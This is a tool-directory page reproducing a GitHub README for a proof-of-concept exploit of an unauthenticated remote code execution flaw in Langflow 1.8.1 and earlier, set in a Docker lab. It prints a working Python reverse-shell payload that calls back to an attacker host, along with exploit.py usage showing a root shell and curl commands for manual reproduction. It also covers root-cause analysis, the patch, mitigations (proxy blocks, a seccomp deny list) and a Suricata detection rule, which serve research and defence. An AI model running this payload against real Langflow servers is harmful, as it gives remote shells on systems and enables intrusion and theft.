Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/lxxexxbxx/cve-2026-33017
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

PoC exploit for an unauthenticated RCE in Langflow <=1.8.1, including source-level root cause analysis, AST-aware reverse shell payload, Docker lab, patch diff, and detection rules.

View Repository
11210 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-33017 — Langflow Unauthenticated RCE PoC

Disclaimer
This repository was created for security research and educational purposes only.
Use it only in an isolated lab environment.
Using it against unauthorized systems is a violation of the Information and Communications Network Act and is subject to criminal penalties.


1. Vulnerability Overview

ItemDetails
CVE IDCVE-2026-33017
Affected SoftwareLangflow (AI workflow builder)
Affected VersionsLangflow ≤ 1.8.1
Patched VersionLangflow ≥ 1.9.0
Vulnerability TypeUnauthenticated Remote Code Execution (RCE)
CWECWE-306 (Missing Authentication for Critical Function)
CVSS9.3 (Critical)
CISA KEVListed

2. Root Cause Analysis

2-1. Vulnerable Endpoint

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

This endpoint is designed for building public flows and is accessible without authentication.

2-2. Code Execution Path (Call Chain)

Execution path confirmed by tracing the source code directly:

root@kitploit:~
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← Receives client input as-is (vulnerability)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← Passes client data as-is
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← Arbitrary code execution

2-3. AST Node Filtering — Key Constraint on Payload Design

The prepare_global_scope() function does not execute every statement in the submitted code. After AST parsing, it selects and executes only specific node types:

root@kitploit:~
# lfx/custom/validate.py — inside prepare_global_scope()
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Expr nodes are not included anywhere → not executed

exec(compiled_code, exec_globals)  # only definitions are executed

Executable AST node types:

AST Node TypeExampleExecuted
FunctionDefdef _shell(): ...✅ Executed
ClassDefclass ExploitComponent(Component)✅ Executed
Assign_r = os.system("id")✅ Executed
AnnAssign_r: int = os.system("id")✅ Executed
Expros.system("id") (standalone call)❌ Ignored

Conclusion: A payload must be written in Assign form (_r = ...) to be executed.
A plain function call (os.system("id")) is classified as an Expr node and is filtered out.

2-4. Reverse Shell Payload Design Process — Attempts and Failure Analysis

During the lab exercise, several payload approaches were attempted, and the cause of each failure was identified at the source level.

Attempt 1 — subprocess.Popen + wait() (failed)

root@kitploit:~
_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← blocks here

Cause of failure: While the Langflow worker thread is monitoring the component return value, the socket is forcibly closed upon timeout. Blocking in _proc.wait() becomes meaningless.

Attempt 2 — Direct os.execve() call (failed)

root@kitploit:~
os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

Cause of failure: Per POSIX rules, when execve() is called in a multithreaded process, all threads except the calling thread are terminated → the entire uvicorn worker crashes → HTTP 500.

Attempt 3 — os.fork() + execve() (failed)

root@kitploit:~
_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

Cause of failure: uvicorn detects the child process as an abnormal termination and restarts the worker → HTTP 500.

Attempt 4 — threading.Thread(daemon=True) (failed)

root@kitploit:~
threading.Thread(target=_shell, daemon=True).start()

Cause of failure: A daemon=True thread is destroyed along with the main thread (Langflow worker) when it exits. The thread dies before the connect() attempt.

Final Working Payload — threading.Thread(daemon=False) + Assign

root@kitploit:~
# FunctionDef → executed
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → executed (standalone Expr calls are excluded by the filter, so variable assignment is required)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

Why daemon=False:

  • daemon=True → destroyed when the Langflow worker thread terminates
  • daemon=False → has a lifecycle independent of the worker → socket connection remains alive

3. Lab Environment Setup

3-1. File Structure

root@kitploit:~
CVE-2026-33017/
├── README.md
├── Dockerfile              # Vulnerable Langflow 1.8.1 environment
├── Dockerfile.attacker     # Attacker container (includes curl, nc, net-tools)
├── docker-compose.yml      # Vulnerable server + attacker container
├── entrypoint.sh           # Langflow startup and automatic Public flow creation
├── exploit.py              # Reverse shell PoC
└── poc.py                  # Blind RCE / vulnerability existence check

3-2. Starting the Environment

root@kitploit:~
# 1. Build and start containers
docker compose up --build

# 2. Verify Langflow Web UI access
# http://localhost:7860
# admin / admin123!

# 3. Check container IPs
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. Network Layout

root@kitploit:~
┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (victim)   │
│  langflow-attacker   172.19.0.3       (attacker) │
└──────────────────────────────────────────────────┘

4. PoC Usage

4-1. exploit.py — Reverse Shell

Run inside the attacker container:

root@kitploit:~
docker exec -it langflow-attacker bash

# Automatic mode (token issuance + Public flow creation + built-in listener)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

Options:

OptionDescriptionDefault
--urlTarget Langflow URLRequired
--lhostReverse shell callback IPRequired
--lportReverse shell callback portRequired
--flow-idPublic flow UUID (auto-created if omitted)Auto
--userAdmin IDadmin
--passwordAdmin passwordadmin123!
--no-listenDisable built-in listener (when using an external nc)False
--timeoutHTTP timeout (seconds)30

Expected output:

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] Logging in... (admin)
[*] Token issued successfully
[*] Creating Public flow...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] Listener started → 0.0.0.0:4444
[*] Endpoint    : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] Callback    : 172.19.0.3:4444
[*] Sending payload...
[*] HTTP response : 200

[+] Shell connected  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

4-2. poc.py — Blind RCE Check

Use this when only checking whether the vulnerability exists:

root@kitploit:~
python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

4-3. Manual Reproduction with curl

root@kitploit:~
# 1. Issue token + create Public flow
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. nc listener (terminal 1)
nc -lvnp 4444

# 3. Send payload (terminal 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json

5. Role Distinction Between exploit.py and poc.py

Itemexploit.pypoc.py
PurposeObtain a reverse shellVerify vulnerability existence (Blind RCE)
Result confirmationDirectly in the attacker terminalServer logs / OOB
ListenerBuilt-inNot needed
Multiple targetsNot supportedSupported (--url-file)
Lab use caseDemonstrate impactDemonstrate vulnerability existence

6. Patch Analysis — 1.8.1 vs 1.9.1

6-1. Vulnerable Code (1.8.1)

langflow/api/v1/chat.py:

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: FlowDataRequest | None = None,  # ← Receives client input
    ...
):
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,   # ← Passes client data as-is into the build pipeline
        ...
    )

6-2. Patched Code (1.9.1)

langflow/api/v1/chat.py (confirmed directly from the source):

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    # data parameter completely removed from the signature
    ...
):
    """
    Security Note:
    - The 'data' parameter is NOT accepted to prevent flow definition tampering
    - Public flows must execute the stored flow definition only
    - The flow definition is always loaded from the database
    """
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=None,            # ← Hardcoded None, client input completely blocked
        source_flow_id=flow_id,  # ← Flow definition loaded only from the DB
        ...
    )

6-3. Before/After Patch Behavior Comparison

Item1.8.1 (Vulnerable)1.9.1 (Patched)
Accepts data parameter✅ Accepted❌ Removed from signature
Executes client-defined nodes✅ Possible❌ Not possible
Flow definition sourceClient request bodyDB-stored values only
RCE without authentication✅ Successful❌ Blocked
HTTP response200 + shell connection200 (empty build, no nodes)

6-4. Patch Design Assessment

Why removing the parameter itself, rather than simply validating input, is the correct design:

root@kitploit:~
Vulnerable design: client input → validation → execution  (bypass potential remains)
Patch design:      client input → completely ignored
                   DB-stored flow only → executed        (attack path eliminated)

7. Mitigation Measures

Measure 1 — Version Update (Root Fix)

root@kitploit:~
pip install langflow==1.9.1

Measure 2 — Block Endpoint via Nginx Reverse Proxy

File location: nginx.conf (newly created)

root@kitploit:~
server {
    listen 80;

    # Block CVE-2026-33017 vulnerable endpoint
    location ~ ^/api/v1/build_public_tmp/ {
        deny all;
        return 403;
    }

    location / {
        proxy_pass http://langflow:7860;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

Note: Direct external exposure of Langflow port 7860 must also be blocked for this to be effective.

Measure 3 — Block Endpoint via Apache Reverse Proxy

File location:

  • Ubuntu/Debian: /etc/apache2/sites-available/langflow.conf
  • CentOS/RHEL: /etc/httpd/conf.d/langflow.conf
root@kitploit:~
<Location "/api/v1/build_public_tmp/">
    Require all denied
</Location>

Measure 4 — Policy to Not Use Public Flows

If no Public flows exist, the endpoint returns 404, making an attack impossible. As an operational policy, prohibit the creation of Public flows or change existing flows to PRIVATE.

Measure 5 — AWS Security Group (Network Level)

For EC2 environments:

root@kitploit:~
Inbound rules:
  Port 7860 → allow only authorized IPs (remove 0.0.0.0/0)

Measure 6 — Block Container Outbound Traffic (Block Reverse Shell Callback)

Even if RCE succeeds, block external callbacks:

root@kitploit:~
# Block outbound traffic from the langflow container
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP

Or in docker-compose.yml:

root@kitploit:~
langflow-vuln-lab:
  sysctls:
    - net.ipv4.ip_forward=0

Measure 7 — Container Hardening (Minimize Damage)

root@kitploit:~
langflow-vuln-lab:
  security_opt:
    - no-new-privileges:true
  cap_drop:
    - ALL
  user: "1000:1000"
  read_only: true
  tmpfs:
    - /tmp

Block dangerous syscalls with a seccomp profile (langflow-seccomp.json):

root@kitploit:~
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket", "connect", "fork", "execve"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}
root@kitploit:~
security_opt:
  - seccomp:./langflow-seccomp.json

Summary of Mitigation Measures

MeasureTypeEffect
Update to 1.9.1Root fixRemoves the data parameter
Nginx/Apache blockAccess controlBlocks the attack path
Do not use Public flowsAccess controlEndpoint returns 404
AWS Security GroupNetwork blockBlocks external access at the source
Outbound blockPost-exploitation controlBlocks reverse shell callbacks
Container hardeningDamage minimizationBlocks privilege escalation/syscalls

8. Detection — IoCs

Detection Patterns

Suspicious HTTP request:

root@kitploit:~
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}

Langflow server log patterns:

root@kitploit:~
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error]   Exception in worker process

Suricata/Snort Rule

root@kitploit:~
alert http any any -> any 7860 (
    msg:"CVE-2026-33017 Langflow RCE Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/build_public_tmp/"; http_uri;
    content:"CustomComponent"; http_client_body;
    classtype:web-application-attack;
    sid:2026033017; rev:1;
)

9. References

  • NVD — CVE-2026-33017
  • EQSTLab/CVE-2026-33017
  • Langflow official patch commit
  • CISA KEV
  • JFrog Security Research

10. Differences from Existing Public PoCs

This repository goes beyond simply running a PoC and additionally identifies the following through source-level analysis:

  1. Discovery of AST node filtering
    Directly confirmed from the source that prepare_global_scope() in lfx/custom/validate.py ignores Expr nodes. This explains why the simple function-call payloads in existing public PoCs fail in this environment.

  2. Analysis of payload failure causes
    Analyzed the failure causes of four approaches — Popen+wait(), execve(), fork()+execve(), and daemon=True threads — from the perspective of uvicorn's multithreaded structure and POSIX rules.

  3. Direct confirmation of the patch code
    Directly verified at the source level in 1.9.1's chat.py that data=None is hardcoded and the parameter is removed, and analyzed the intent behind the patch design.

Download Tool